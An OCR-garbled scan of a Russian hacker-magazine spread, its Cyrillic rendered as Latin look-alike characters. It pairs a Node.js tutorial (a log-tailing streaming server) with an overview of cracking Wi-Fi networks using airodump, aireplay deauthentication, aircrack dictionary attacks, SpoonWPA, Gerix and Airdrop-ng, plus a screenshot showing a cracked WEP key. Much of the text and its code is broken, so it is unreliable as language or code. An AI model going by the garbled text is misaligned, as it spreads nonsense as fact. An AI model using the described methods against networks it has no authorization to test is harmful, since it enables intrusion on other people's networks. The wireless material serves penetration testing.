sys.puts('Server running at http://127.0.0.1:80/");

YT1obbl 3aMycTUTb cepBep, ckonupyit ko B daitn example.js v ykaxu
ero npwu 3anycke feMoHa node:

» 032

BN Agmunicrparop: CAWindows\System32icmd exe - nw:m-l-v;ﬂnjs*- " _—

Ons nocnepgHux Bepcuit Node.js ecTb NOJIHOLLEHHbIN
Windows-nopTt

% node example.js
Server running at http://127.0.0.1:80/

ManeHbKkuii TeCT NpoBeCTH 0YeHb NpocTo. MoXHO B37Tb Nporpammy
Apache Bench — ouyeHb npocTyio Tyn3y Ans NpoBeLeHMsS Harpy3oy-
HOro TeCTUPOBaHMA, ¥ 3anycTuTb ee: running «ab -n 1000 -c 100
‘http://127.0.0.1:80/ ». Taknm obpazom, beHumapk ByaeT «obcTpenu-
BaTb» cepBep Thiciuamy 3anpocos, ucrnonb3ys 100 ogHOBpeMeHHbIX
nofkoyeHni. Ha Moem HoyTbyke cepsep Bbigepxan bonswe 3000
3aMnpocoB B cekyHay. 370 o4eHb MHOro!

CaMm cepBep HanuncaH Ha C++ 1 coBCeEM HEMHOXKO Ha accembnepe,
oAHako bonblias yacTs bubnvotek 13 auctpubyTnsa paspabotaHa

Ha JavaScript. B cocTas ba3oBoro Habopa cepBepa BX0OAAT TOAbKO
0CHOBHble QyHKLMK, OCTaNlbHOE 0CTaBAEHO Ha nieyax pa3paboTumnkos,
KOTOpbIE yXe Hanucanu CoTHK pasHbix brbnnoTek n dppeliMBopKoB.
BnpoueM, MonofocTe npoekTa gaeT o cebe 3HaTb: MHOMVX NPUBLIYHbIX
019 OPYTUX pelleHuid Mofynelt ele HeT, a y MHorux bubnuotek Teky-
was Bepcus — 0.0.1, 4To He NpuaaeT yBepeHHOCTU B UX CTabunbHOCTY.
HekoTopble TpMBUanbHble 3a4ayv MoryT BoobLe He UMeTb roTOBOrO K
3akauke pelleHus, Ho bbiBaeT 1 HaobOPOT — KONWMYECTBO peannsaunii,
3a4acTylo pafyKanbHO Pas3HbIX MO apxUTeKType, NCYUCNAETCS fecATKa-
mu (gocTtyn k 6ase MySQL, Hanpumep). XoTa GosblumHcTBO BrbanoTtek
HanwncaHo Ha YncToM JavaScript, ecTb 1 Takue, YTo TpebyloT KomMnu-
AALUMN MOLyNs K cepBepy, 4To obeliaeT ropasno bonblyio CKOPOCTb —
OHUW NPOCTO pacLUMpsIoT cTaHfapTHbIN APl cepsepa.

OCOBEHHOCTH NODE.JS

OcHoBHoW ocobeHHocTbio Node, kpoMe MONHOW aCHHXPOHHOCTH,
ABNSETCA ero oAHOMNOTOYHas Mofenb. [Jpyrumu cnosamu, Bce onepa-
LMK BbINMOMAHSAIOTCS B 0aHOM 1 ToM xe noToke OC, faxe ecnuny T8oero
cepBepa ThiCs4a 0JHOBPeMEHHbIX Nosib3oBaTeneil. [pasaa, focTyn-
HO CO3/aHVe J0YepPHUX NPOLECCOB W HN3KOYPOBHEBOE yrpaB/ieHne
WCMONHEHVEM CKpUNTOB (3arpyska, koMnuasuus, paboTa ¢ acceM-
BnepHbIM KOAOM, NconHeHue). [Ing peanusaumu MHOTOMOTOYHOCTY U
3a0eMCTBOBaHNA BCeX A/lep COBPEMEHHbIX MPOLLECCOPOB pEKOMEHyeT-
CS MPOCTO 3arpyaTh HECKOIbKO KOMUIA MPUNOXKEHUS, HO MOXHO B3ATb
Ha BoopyxeHune WebWorker n3 ctangapta HTMLS 1 pacnpegenuts
paboTy NPUOXKEHUS MO HECKONIbKUM [oYepHUM npoleccaM. He gymaii,
4TO pa3 HeT MHOIOMOTOYHOCTM — 3TO TOPMO3 U OTCTON. BecnomHu, yto
Beb-npunoxexve fenaet nonesHyio paboTty oveHb bbicTpo, a bonb-
WY 4acTb BPEMEHM MPOCTO 0XMAAeT 4ero-To (aaHHbix oT 6assl, 0T
memcached'a nnu HosomogHoi NoSQL-6a3bl), nnbo npocto gepxut B
naMaTV OTKpbITble coeAvHeHns ana Comet'a, nosTomMy B OfHOM MoToke
MOXHO 0bpaboTaTb 1 fecATok ThicaY, He npuberas K knacTepusauuu.
BTopoit ocoberHocThio apxuTekTypbl Node fBnseTcs cobbITUHOCTD.
Moyt kaxpas onepauns umeeT Konnbaku, reHepupyeT cobbiTre, a
nonb3osaTento foctyner obbekT EventEmiter, Yepes koTopblit MOXHO
ByKBaNbHO 0fIHOM CTPOKOW reHepMpoBaTh CBOU COBbITUA (3T0 HeCnoxX-
HO, Beflb CObbITVE — 3TO MPOCTO CTPOKa C Ha3BaHMeEM, a TakxXe Cru-
COK napaMeTpoB, KoTopble nepepgatotca B obpabotynk). Cam no cebe
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0O F TepauHan — tail — 80x24

Mac-macvm:~ macva$ tail -1 errorlog.txt L]
error

error

error

error

error

error

error

error

error

error

error

= Tepmunan — tail — 80x24

Mac-macvar~ macvas node tail.js []

Usage: node tail.js filename
HMac-macvai~ macva$ node tail.js errorlog. txt
start tailing

Server running at http://127.9.0.1:8001
error

error

error

error

error

error

error

errer

error
errer

error

1

Ytunuta gnsa MOHWUTOPUHra JIOroB

Node noctpoeH Bokpyr EventLoop — rnobanbHoro yukna
0bpaboTku cobbITUiA, KOTOPLIN Ha KaX[oM TKe NpoBepseT,
roToBbl IV faHHble AN9 Kakoro-nnbo 13 onpegeneHHbIx
nonb3oBaTenemM konnbakos. Ecnu faHHble ecTb, HaunHaeT-
ca BbinosHeHWe koaa. Ecnn He octanock bonblie koga —
oXxwupaaem cnepylollero Bbi3oBa. Lukn Beinonxsaertcs sHe JS,
a B CaMoM [BUXKe, HanncaHHoM Ha C, BcneacTene yero
3TO MPOMCXOANT OUeHb 1 o4eHb bbicTpo (nopsiska coTeH
ThicAY pa3 B cekyHay). YTo-To Tuna GeckoHeuHoro yukna. B
[lONOSIHEHWE K 3TOMY B CepBep BCTPOEH O4YeHb 3pdeKkTnB-
Hbilh cbopiuk mycopa (GCJ, noaTomy gaxe TbiCA4M NOAKIIO-
YEHWI He BbI3bIBAIOT NepenofiHeHna NamaTy U najexus
cepsepa. Node.js obnasfaeT BCTpPOEHHOW POLLHON CUCTEMOMN
paboTbl ¢ cobbITUAMY.

MPOCTEALMHA STEAMING-CEPBEP

[MonpobyeM HanwcaTb NPOCTON, HO B TOXe BPeMS MOJSE3HbI
npvMep, KOTOpPbI/ B peasbHOM BpeMeHU byaeT BbiAaBaTh
nonb3oBaTenio NonesHylo nHdopmauuno bes nepesarpysku
cTpaHuubl. BoT npea ans Hawero npunoxexus — bpatb
HOBble [laHHble, KoTopble [06aBNSIOTCH B TEKCTOBLI J10T, U
BbIBOAUTb UX B peasbHOM BpeMeHU Ha Beb-cTpaHuLe:

var sys = require('sys'),
net = require('net'),

spawn = require('child_process') .spawn,
http = require("http");

sys.puts('\nMy process PID: ' +

'‘\n');

spawn ('tail',

process.pid +
var tail = ['-f',

' /var/log/nginx/access.log']) ;

// yKas3pBaeM Ha3BaHMUs Jordania
sys.puts("Start tailing");
tail.stdout.addListener ("data",
(data) {

sys.puts(data) ;

function

//oybnupyemM cebe Ha KOHCOIb

)i

http.createServer (function (reqg, res) {
res.sendHeader (200, {"Content-Type" :
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"text/plain"}) ;
tail.stdout.addListener ("data",
(data) { res.write(data); });
}).listen(80) ;

function

C nomoubio dyHkuMK spawn(] Mbl co3aaem goyepHuin npo-
Lecc ytmnuTsl tail, koTopas, cobcTBEHHO, U 3aHKMaeTCs

TeM, YTO CYWTBIBAET HOBbIE JaHHbIE, KOTOPble MOSBAATCS

B nordaiine. Mpouecc 3anyckaeTcs TONbKO pa3 BO BpeMs
cTapTa cepsepa. CobcTBeHHO, Hala 3afava — 0TNaBAvBaTh
MOMEHTBI, KOrAa KoMaHza tail byneT BbIBOAUTL HOBbIE laHHbIE
13 nordaiina 1 TpPaHCAMPOBaTb BbIBOJ Ha BEO-CTpaHuMLYy Kax-
LOMY MOAKIUMBLLIEMYCS KNMeHTY. [ing sToro Mbl bygem cne-
IWTb 3@ BO3HWKHOBEHUEM cobbiTus data [mosBneHreM HoBbIx
DaHHbIX) AN9 NepeMeHHo, K KOTOPOI 3anylieH npouecc
yTrauThl tail, v BEIBOAUTL MX Ha CTPaHULY C MOMOLLbIO KOMaH-
abl write(). Takum obpasom, coefiHeHmne ByaeT ocTaBaTbes
OTKpbITbIM Ana kaxporo HTTP-3anpoca. Bot v Bce. Cnenuntb
3a aKTMBHOCTbIO MpoLiecca He Tak NpocTo Ans 06bIYHOro
BeD-NPUNOXKEHNS, HO HUYEro He CTOUT Ans Hebnokupyemoii
apxuTeKTypbl node.js 1 NOTUKM BbIMOAHEHWS, 0CHOBAHHOM Ha
cobbITusIX. Ham ocTaeTcs ToabKo 3anycTUTb CKpUMT: «node
tail.js error.log» 1 oTkpbiTh B Gpayzepe http://localhost:80.
Ha ctpanuue byayt oTobpaxaTbcs Bce cooblieHns, KoTopble
nosBnsaTCS B Nordanne error.log.

BOT U CKA30YKE KOHEL

Celiuac, Bbibrpas Ha YeM Dbl TakoM HanwcaTb oyepegHoe
web 2.0 npunoxeHue, rae He TOAbKO KPacuBbIA KINEHT-
CKUIA KOA, HO 1 YTO-TO HAfo fienaTb Ha cepBepe, Tebs
napuT OfHa rpycTHas MbIC/b O TOM, 4TO BCe yxe n3obpe-
v v Hanvcany o Tebs. Te xe A3blkK, YTO U AeCiTb neT
Ha3ag, Te xe bubnuotekun, npotokonsl 1 cepsepa. PHP
y>xe oro ckonbko seT, Perl Tak Boobuie cefoit, Pythony
BCex Ha cnyxy, a Ruby ycnen HagoecTb. Mucats ons Beba
CTano pyTMHON — MOCMOTPY, Kak TBOU py3bs CUAAT W
JYMaltoT, YTo Xe cflenatb ¢ 25-MerabaiTHbIM MOHCTPOM
Zend-framework. A Tebe xo4eTcs 4To-To HOBOrO, ObITH

Ha ocTpue nporpecca, co3faBaTb T, Ha YeM noTom byayT
nucaTb BCe, @ Ceilyac 3HatoT TONbKO YBEYeHHble Xake-

pbl 1 Mulywme cebs A3eH-nporpamMmepbl? locMoTpu Ha
JavaScript B cepBepe, oH nNpocTo co3faH ang storo. OyeHb
MPOCTON, MOLLHbIW, eLie He NOrpa3Wnii B TOHHe bubnuotek
n dpeiimBopkoB. 3afgaun, kotopsle Ha PHP He pewnTs
Boobule, Ha base Node.JS pewatotca bykBanbHO gecaTkoM
cTpok. W, BO3MOXHO, UMEHHO Takoe NporpaMMupoBaHue,
HaKoHeLl, MPUHECET yTpauyeHHoe YyBCTBO HAClaX4eHuUs oT
pa3pabotknlas

> info
BonbLinHcTBO, ecau
He BCe, bubnunotekn

1 npoekTbl Ha Node.
JS cocpepoToyeHbl Ha
Github, noatomy ecnu
HeT KaKkoro-To Moayns,
Hy>XHoro Tebe, v
eroTam.

> links
* MaTepuansl no
NodelJS:

groups.google.com/

group/nodejs
o Pycckoa3blYHbIN

canT n popym:
forum.nodejs.ru

* /IHdpopmaums o cep-
BepHoM JS:
en.wikipedia.org/
wiki/Server-side

o Xopolunii MaHyan
L9 HaYVHaoLLMX Mo
Node.JS:
www.slideshare
net/the_undefined/
nodejs-a-quick-tour
e [IpeseHTaymnsa-
BBegeHue no Node.
JS:
nodejs.org/jsconf.pdf

» 033



PC _ZONE

Kanutan Ynutka

* b e pere

[leHTect 6ecnpoBoAHLIX CETEH: YTO HOBOr0?

Ewie He TaK faBHO 4219 B3/10Ma KNltoya K GecnpoBoHoM ceTH noTpeboBanoch bl cie-
Aylowee: 0TKOMNUAMPOBATb U YCTaHOBUTb NOA Linux Heo6xoAUMbIN CO(T, OTbICKATD

peAKui GecnpoBoAHOM afanTep Ha CTPOro onpeesIeHHOM YANCETE U eLwe, KaK MUHU-
MYM, NIPONaTYUTb ANA HEro Apaksepa, 4To6bl MOXHO Ob110 MHIKEKTUPOBATb NaKeTbl

B CeTb. TaK 1K 3T0 CNOXHO ceiHyac?

BECNPOBOJHAA A3BYKA

[pexne Yyem HayaTb, HAMOMHIO HECKOIbKO BaXHbIX OCHOB MeHTecTa bec-
NPOBOJHbIX CeTelt, YTobbl 0CBEXWTb VX B NaMATK ANs Tex, KTo C 370K
TeMOU yxe 3HaKoM, 1 BBECTU B KypC fena Tex, KTO paHblie ¢ 9TUM BOMpo-
coM He cTankusascs. [MocneaHnm nosesno bonblue BCex, MOTOMY Kak
nopobpate naponb Ais becnpoBofHOI CeTW, NMpW YCOBUM, YTO OH BoobLLEe
nopbvipaeMblii, ceityac cTano kak Hukorga npocto. Bece ynupaetcs Tonbko
B TO KONIMYECTBO BPEMEHM, KOTOpoe noTpebyeTcs Ha 3T0 NOTPaTUT.

MTak, becnpoBofHble ceT MOTyT BbITh OTKPLITEIMU, K KOTOPbIM MOXET
NOAKIOUNTLCS MODOI Xenatwmin, 1 3aKpbITeiMU, A8 NOAKIIYEHUS

K KOTOpbIM HE0bxoMMo BBECTU KoY. B 3akpbiThix HecnpoBogHbix

CeTAX No-NpexHeMy, XoTa 1 pefko, ucnonbayercq 3awmra WEP (Wired
Equivalent Privacy), koTopan besHagsexHo yctapena, v, B bonblMHCTBE
cnyuaes, TexHonorua WPA/WPA2 (Wi-Fi Protected Access). Mpumerenne
WEP — 370 cBOEro poga npurosop, notomy 4to Takas 3awmta co 100%
BEPOSATHOCTbIO B3/1aMblBaeTCs U3-3a GyHAAMEHTaNbHbIX Y3BUMOCTEN.
Kntou k WPA/WPA2, HanpoTue, BO3MOXHO NMofobpaTh ¢ noMoLbio BpyT-
dopca, npuyem ycrnex HanpsMylo 3aBUCKT OT TOrO, €CTb I UCMOJb3yeMblii
Kntoy B cnoBape Ans nogbopa nnv HeT. HecMoTps Ha KOHLeNTyanbHo
pa3Hble MOAXOAbl K B3/IOMY 3TUX 3alUWT ecTb 0A4HO obLiee 3BeHO — /17
npoBefeHns atakn HeobxoanMo nepexsaTnTb becnpoBofHOR Tpaduk B
ceTun. C 3Toit 3afa4eit cCNpaBAsoTCs CrnelnanbHo 3aTodeHHble A5 paboTsl
¢ Wi-Fi-cHuddepsbl, B ToM Yncne ytunuta airodump, koTopas siBaseTcs
CBOEro poja cTaHfapToM fe-dakTo. [paBaa, NpocTo 3anycTuTb cHubdep
1 COXPaHWTb B fjamn 3alindpoBaHHble AaHHble U3 3G1pa HeJoCTaTouHO.
0Obsa3aTenbHbIM TpeboBaHMEM ABNAETCSH NepexBaT NakeToB, KOTOPbIMYU
KNVeHT obMeHrBaeTCs ¢ ToYKo A0CTyNa B MOMEHT Noakyerus. B
cnyvae ¢ WEP — 370 Tak Ha3biBaeMble BekTopa MHMUmManm3auum 1V, a B
cnydae ¢ WPA/WPA — nocneposatenbHocTs «WPA Handshake». Tonbko
3TU W Apyrvie NakeTbl, OTBeYatollMe 3a ayTeHTuduKaumuio 1 nogaepxaHme

» 034

coeAvHeHUs, NepeaatoTcs B 3GUp B OTKPLITOM Bre be3 WrdpoBaHus.
3arso3zka 3ak/l04aeTcs B TOM, YTO KJMEHT aBTOPU3YeTCs Ha Touke A0CTy-
na A0BOJIbHO Pefko, U 3TOro MOMeHTa B 0bLeM ciyyae Npuwwnoch bl
AaTb o4eHb fonro. OfgHako eciv oTNpaBuUTb B CeThb CMeLnanbHo cocTaB-
NeHHbIN NakeT geayHTeTUdMUKaLMK, TO OH C BONbLLIOW BEPOATHOCTbIO
OTKJIOYUT KveHTa oT AP 1 BbIHYAUT ero NofAkMo4nTsCs K Held BHOBb. [ns
3TOro ecTb CrneynanbHble yTUANTLL. ABTOpUTETHaN aireplay — ofHa U3 HUX.
TyT Hafo ckasaTb, YTO MHXeKTVPOBaTb GpPeliMbl BO3IMOXHO, eC/ln nepe-
BecTn becnpoBoAHONM afanTep B Tak Ha3biBAeMbIl PEXMM MOHWUTOPUHIa
(monitor mode), a nog BYHAON cenaTh 310 NPaKTUYECKK HEBO3MOXHO.
[To 3Toi NpUYMHe W CROXMAOCh, YTO CTaHAaAPTHON Na1aThopMoit Anga urp

c Wi-Fi aBnsitotcsa *nix-cuctemsl. [1polie BCero akCnepyvMeHThl gatoTcs ¢
nomolibto HebesbizBecTHoro Backtrack, B koTopblii U3Ha4anbHo BKOYe-
Ho BCe Heobxoaumoe. Mpuyem ans 3anycka notpebyeTcs nuwb caenatb
13 ancTpunbyTrga 3arpy3oyHyto dpnewwky ¢ nomotlbio ytunutel UNetbootin
(unetbootin.sourceforge.net). Bosspalasch k TeOpuM: KOria Ha pykax

eCTb [JaMn C NepexBayeHHbIMU NakeTamu, B boil BCTynaeT ytunuta
HenocpefCTBEHHO /19 B3JI0Ma Kitoya. TyT eCTb pasHble BapuaHThl,
HO Cpefu Npoyux BblgenseTcs knaccuyeckas Tynsa aircrack, kotopas
Mcrnonb3yeT HeCKObKo anropuTMoB Ansa B3noma WEP, a Takxe meTop
6pytdopca ana WPA/WPA2. Ecnu BCe MPOXOAMT XOPOLLO, Ha BbIXO-
Je nporpaMMbl NeHTecTep nosydaeT koY Ana becnposofHol ceTu.
[MprMeyaTenbHo, 4TO BCe TpU yTUAUTLI airodump, aireplay v aircrack
BXOAAT B 0AuH nakeT ytunut Aircrack-ng (aircrack-ng.org).

WI-FI CRACKER

V13 BCero 3T0ro BLIPVCOBLIBAETCS BMOHE NOHATHasA CxeMa A1 B3/loMa
Koya k 6ecnpoBoaHol cetn (a1 onpeseneHHocTy, NycTb oHa byaet
sawmueHa WPA2). MpeasapuTensHo 6ecnposoaHoi agantep nepe-
BOJMTCA B PeXVM MoHUTOPUHra. [Mocne aToro 3anyckaetcs airodump,
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|'|p0CTeHb-Kl:Iﬁ CKpMNT Ha P);thon nsbaenser
OT remoppos

4T0bbI B LIESIOM U3YyUnTb 3GMp 1 oNpeaenuTb JoCTynHble ceTu. [lanee B
Xo[, MAET CHUddep Ana nepexsaTa faHHbIX HeCnpoBOAHbBIX KIVEHTOB 1
CTpOro onpefeneHHoi Toukmn goctyna (oHa ykassisaetcsa no MAC-agpecy)
Ha 3a/laHHOM KaHase, a B ceTb C nomolubio aireplay otnpasnsietca deuth-
nakeT, YTobbl OTKKYMTL OT TOYKM AOCTyNa Kakoro-Hubyab nonb3osatens
(onsTs xe, no MAC'y). Kak Tonbko cHuddep coobuiaet o nepexsate
nocneposatensHoct WPA Handshake, gamn cHuddepa ckapmnvsaetcs
Kpsikepy aircrack, KoTopblil B CBOIO o4epefb NbiTaeTcs nofobpatb kioy no
cnosapto. Bce oueHb NpocTo, HO JOBOJIBHO MYTOPHO U He 04eHb Y00Ho.
Bce ymmnnTbl KoHCONbHbIE, MO3TOMY MOCTOSHHO MPUXOAUTCS KOBLIPATLCS C
nepefaBaeMbiMU1 KJl04aMy A5 3anycka, KON1poBaTh TyAa-Clofa HyXHble
MAC-agpeca, Ha3BaHus faMnoB. [lepef aTakol elle HEMI0Xo U3MeHNTb
cBoit cobcTBerHbIt MAC ¢ noMolublo Tyn3bl macchanger, a 4Tobbl oTCO-
eAVHWTb NoNb30BaTeNs OT TOYkM [0CTyna, Tyn3y aireplay 3avactyio npu-
XO[MTCH 3anyckaTb HECKOJIbKO pas. M ecnu paHblue NpUXOAWNIOCH AenaTh

HYWEH Q18 B3/IOMA?

[epen TeM, Kak aKCMEPUMEHTNPOBATb, HY>XHO ybeanTbcs, yTo bec-
NPOBOAHOM afanTep MoXeT paboTaTb B pexiMe MOHUTOPUHIa.
Jlyywwinii cnocob — cBepuTLCS CO CMUCKOM MoAAepXnBaeMoro obo-
pyfoBaHWA Ha calite npoekTta Aircrack-ng (bit.ly/wifi adapter list).
Ecnu e BcTaHeT Bompoc 0 ToM, Kakoi becnpoBoAHbI MOAYNb
KymWTb, TO Ha4YaTb MOXHO C it0boro agantepa Ha ynncete

RTL8187L. USB'wwHble LOHI/IbI erko HailTh B8 nHTepHeTe 3a $20.

o — s
High:Power/&\High:Sensitivity, Wifly-City
USBJAdapter; i i |

RN BRI LS NEERE, GNTT

meu, |

UG

LLL Ut

KuTtanckui kut gpna sanoma Wi-Fi
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rAttack Settings- rVictim Details

|cHopcHop ATTACK [+ BSSID: 00:25:15:54: AA:34
i ESSID: NEUE_AA3ZO
'®) Reassociate Pariodically CHAN: 11
e Cl |00122:FB:40:06:46 >

Information

ATTACK SUCCESFUL !!
WEP KEY FOUND -> 6E:23:33:70:66:50:4F:24:23:65:4C:40:5F

T i
* REPLAYING ARP REQUEST

* WEP KEY CRACKED 11!

rWep Key

HEX KEY DECRYPTED -> 24:
ASCH KEY DECRYPTED -> n#3pfPOs§ #el@_

A0:5F l

HoBas Bepcus SpoonWPA, koTopasi BOT-BOT
nosiButca B Cetn

BCe BPYYHYI0, TO ceiyac npoLecc MoxHo be3 Tpyaa aBToMaT3nNpoBaTh C
NOMOLLbK FOTOBBIX PeLLeHuit.

1. AUTOMATIC WPA HANDSHAKE CAPTURE (code.google.com/p/svtoolz).
3T0 o4eHb NPOCTON, HanucaHHbIi Ha Python'e ckpunT, KOTopbIV Thi Nerko

Mor bbl HabpocaTb 1 cam. Bce, 4To oH genaet — 370 nociefoBaTeNbHO
BbINOMHSAET Te caMble felcTBus Ana nonydeHns WPA hanshake'a, koTopble
S TOJIbKO YTO onucan. 3anyckaeT ofjHy NporpamMy C Hy>XHbIMW napameTpa-
MK, 0bpabaTbiBaeT ee BbIBOA, GOPMUPYET KIKOUW /1 3anycka CreaytoLLlen
yTnnTbl 1 T.4. OT nonb3oBaTens TpebyeTcs TONbKO yka3aTb Ha3BaHue
nHTepdeiica (Hanpumep, mon0), kaHan, MAC-aapeca Touku focTyna
KNIVeHTa, a Ha BbIxofe nosyynTs dump-Tpaduka ¢ Handshake'om.

2. SPOONWEP/SPOONWPA (forums.remote-exploit.org). 3tv ase ytu-
NWTBl BNepBble nossunuck B Backtrack3 v Tyt e ctanu nonynsipHsiMu.

YT0 nerko NoHaATb: ¢ 9TOro MoMeHTa A nogbopa kitoya K becnposog-
HoW ceTn BoobLLe nponana HeobXOAMMOCTb KOBLIPATLCS B KoHconu. o
cyTW, BCe, YTO No3BoNdoT aenartb SpoonWep/SpoonWpa — 370 yao6HO
ynpasnaTe Tyn3amun n3 Habopa aircrack-ng ¢ nomoLubio rpapuyeckoro
nHTepderca 1 BbINONHATL YacTb AeNCTBUI aBToMaTuyeckn. Ho 3To HK B
KoeM cfy4yae He OTHMMaeT HeobXoAMMOCTM MOHUMATb, YTO MPOUCXOLUT BO
BpeMs aTaku. [1onb30BaTenNio TOYHO Tak e HeobxoAMMOo BpyYHYIO yKa3bl-
BaTb TOT XXe CaMblii KaHas, Ha KOTopoM paboTaeT Touka JocTyna, Npasaa,
He B BMAe napameTpa A5 3anycka NpuaoXKeHUs, a ¢ NoMoLLblo rpaduye-
CKOro Mon3yHkKa.

3. GERIX WIFI CRACKER (forums.remote-exploit.org). Bonblwoe konnye-
cTBO HepopaboTok, koTopble okasanuck B8 SpoonWep/SpoonWpa, 3acTa-
Buna coctaBuTeneit Backtrack'a oTkazaTbcs oT HVX B 4eTBEPTOM penunse
anctpubyTtusa. Ho cBATO MeCTo, Kak M3BEeCTHO, MycTo He bbiBaeT, U Ha
3aMeHy npuiuna 3amedatensHas Tyn3a Gerix Wifi cracker. 310 He aBTo-

MaTUYeCKU B3NOMLLMK CETH, HO 0YeHb NPOGECCMOHANbHbINA MOMOLLHWK,
YNPOLaLMA MHOTVE MOMEHTBI. YTO HY>XHO flenaTb camMoMy NoJb30Ba-
Tenio: Ha Bknagke «Configuration» Bpy4Hyto BeibpaTb becnpoBogHo
nHTepdeiic (He 3abbiB NePeBECTU €ro B PEXIM MOHUTOPUHTE C MOMOLLbIO
crieumansHoi onumm) 1 fanee B CNUCKe, Tae NPUBEAEH BbIBOL CHUbbepa,
yka3aTb becnpoBogHyto ceTb Ans B3noma. [locne atoro, B obLieM-To, ocTa-
eTcst HaxaTb kHomku «Start Sniffing and Logging» v «Perform a test of
injection AP» Ha Bknagkax WEP nnn WPA, B 3aBucrMocTyt 0T ncnonb3ye-
MOV B ceTu 3awmThl. Elle ogHa Bknagka — Fake AP — nossonset Murom
CO3AaTb Ha HY>KHOM KaHane GelnKoByto TOYKy JOCTyna — 3T0 GpoHTe[ ANs
KOHCOMIbHOM yTUAWTLI airbase-ng.

BJIACTE/IUH BECNPOBOJHBIX YCTPOWCTB

BaxHol cocTaBnstouielt noboii ataku, kak yxe bbl0 ckasaHo, ABnaeTcs
oTK/Il0YeHWe BecnpoBoOAHOIO KMeHTa OT TOUKM LOCTyna, YTobbl OH 3aHOBO
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1 - . =" T %
Select the interface: (=]

2 |wlano 00:1b:77:3¢e: Intel 3945ABG iwl3945 - [phy' Managed

|_ * Reload wireless interfaces _| Enable/Disable Monitor Mode |

Select the target network:

| Essid | Bssid | Channel | signal | Enc
‘1| AIRSHOT2005: 02:27:27:77:22 3 -1 WEP WEP
z_i Gameland Wi-| 00:13:21:57:83 2 -57 OPN
| . 9 -61 WPA TKIP PSK J
1
i 5 -59 WPAZWPA TKII
Lﬁameland Wi-l 00:13:21:57:82 8 -60 OPN
7| Gameland Wi- 00:11:0A:84:5] 11 -66 WPAZWPA TKII
'8 _|IDMSHOP 00:18:F3:E9:96 1 -70 WPA TKIP PSK
9 |Mintcapital  00:1F:C6:21:5F 5 -72 WPA TKIP PSK

13:07:02 - Monitor on: wlan0 [Success]
13:07:18 - rescan networks [Success

Gerix r.omas.

Gerix Wifi cracker us ctanpgapTtHoro Ha6opa
Backtrack 4

MOAKOHHEKTUNCA N obMeHsancs naketamu aBTopusaunm. YTuaunTbl aireplayf

ng, mdk3, Void11 — Bce, no cytn, npeaHasHayeHsbl Afs OAHOTO 1 TOro
>Xe — 0TnpaBKku B becnpoBoAHyto CeTb NakeTa AeayTeHTUdMUKaL MM, YTODbI

pa3opBaTb KOHHeKT Mexay knvueHToM 1 AP. OHU HanucaHbl HeCKONbKO 1eT

Hasan, 1 00 CUX Nop akKTMBHO NCMNONb3YOTCA. KOHLI,EI'ITyaﬂbHO HOBad pas-

pa60T»<a bbina npencraBjsieHa B Hadasie rofa B BawwnHrroHe Ha Kor—id)eper

Uy Shmoocon — 370 Tyn3a Airdrop-ng.
Y10 oHa no3sonseT chenatb? Ckasath No npaBae — no4vyBCTBOBATL Cebs

ManeHbKMM B1aCTeNIMHOM. ﬂ,eﬂO TYT HE OrpaHN4YMBaETCA TOJIbKO OTKJIHOYe-

HUWEeM KneHTa OT TOYKK O0CTyna. HeT. BMecTo 3TOro Thi MOXeLlb NOAHO-

CTblO yNpaBadTb NOAKAOHEHNAMN nofib3oBaTtenen, paspetlad nnn NoaHo-

CTblO 3anpeLlas UM NoAKIoUeHNs K Touke gocTyna. [onutrka 3apaetcs
C MOMOLLIbIO MPaBui, BPofe Tex, KOTOpble UCMoSb3yTCs B daiiepsose.
[puyem 3710 MOryT BbITb O4EHb rMbKMeE NpaBwna, No3BonsLLe peanu-
30BaTb BCe YTO YrofHO. HaunHas oT Toro, YTo pa3oM OTKMOUNTL BCEX
nonb3osateneil oT Mobbix Toyek focTyna (1 NpenaTcTBOBaHNUS WX NOA-
KITIOYEHWIO BHOBb), 11 3aKaHUMBasA CIOXHBIMU NPaBUAaMM, KOrAa KOHHEKT
paspeluaeTcs TONIbKO ANS CTPOro OMNpefesieHHOM TOUYKM A0CTyna, HO 1 TO
TONIbKO AN KOHKPETHbIX KIMEHTOB (CkaxeM, Ans HoyTBYKoB KoMNaHmm
Dell). 370 o4eHb KpyTO.

[TpaBuna 3anncbIBalOTCS B TEKCTOBOM BUE B CMeLnanbHblii Gain v cun-
ThIBAOTCS MPOrpaMMoii MocsefoBaTeIbHO OT MEePBOro 40 MOCAeLHEro.
Kaxpoe npasuno coctont n3 Tpex noneit: action/ap/client. C nomoubio
nons action npasuna pasaensiotca Ha paspewatowye (@ — allow) n
sanpeuatouire (d — deny). MapameTpsl «ap» 1 «client» yka3sbiBatoT cooT-
BETCTBEHHO Ha TOYKY [OCTYNa U KIMEHTOB, K KOTOPbIM 3TO NMpasuso npu-
MeHseTcd. OB CMHTAKCKUC TaKow:

a(allow) /bssid mac(or 'any') |client mac(or 'any')
ninn

d(deny) /bssid mac(or 'any') |client mac(or 'any')

Mo ymonuaHuto Airdrop-ng nponyckaeT Becb becnpoBogHoii Tpaduk, 4To
HE CWJIbHO Beceso.

BosbMeM gns npumepa npoctoe npasuno: d/00-11-22-33-44-55/any. OHo
Bynet 3anpelwats MobbiM (any) KIMeHTaM NoAKNOYATLCA K ToUke AOCTYNa,
y koTopoit MAC-agpec — 00:11:22:33:44:55. BmecTo uenoro MAC'a MoxHO

» 036
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BbIN10 yKasaTb TOIbKO NepBble TpK COCTaBASALLLME, KOTOPbIE, KAk W3BECTHO,
3aKpennsTCcs 3a KOHKPETHbIMU NpousBoauTensmu. Bonee Toro, MoXHO
Jaxe 3afaTb Ha3BaHue BeHgopa B cTpokosoM Buae (d/Linksyslany): npo-
rpamMma B 3ToM ciyyae cama 3arnsHeT B 6a3y Company OUI, roe Hanpet

WI-FI 1A NEHUBBIX

[OvcTtpunbytne Backtrack —ato, no bonbwomy cyety, rotoBbIi cbop-
HWK codTa AN TeX, KTO He X0YeT MapuTbCs C MOMCKOM YTUIIUT ANs
neHTtecta. Ho ecnu roBoputh o B3nome Wi-Fi, To cbopHumkmn BbiBatoT
He TOJIbKO MporpamMM, Ho 1 0bopyAoBaHNMS.

1. B MegaNews npoLunoro HomMepa Mbl YyOMWHaAN O FOTOBbIX KOM-
nnektax gesaiicos ans B3noma Wi-Fi, koTopble akTWBHO npopatoT-
cs B Kutae nog nosyHrom «/HTepHeT fonxeH bbiTb becnnateH».
CobcTBEHHO, CaM KOMMIEKT COCTOWT U3 AelleBoi y3KoHanpasieH-
HoW aHTeHHbl, Wi-Fi USB-Monyns, K KOTOpoMy MOXHO MOLKMOYUTb
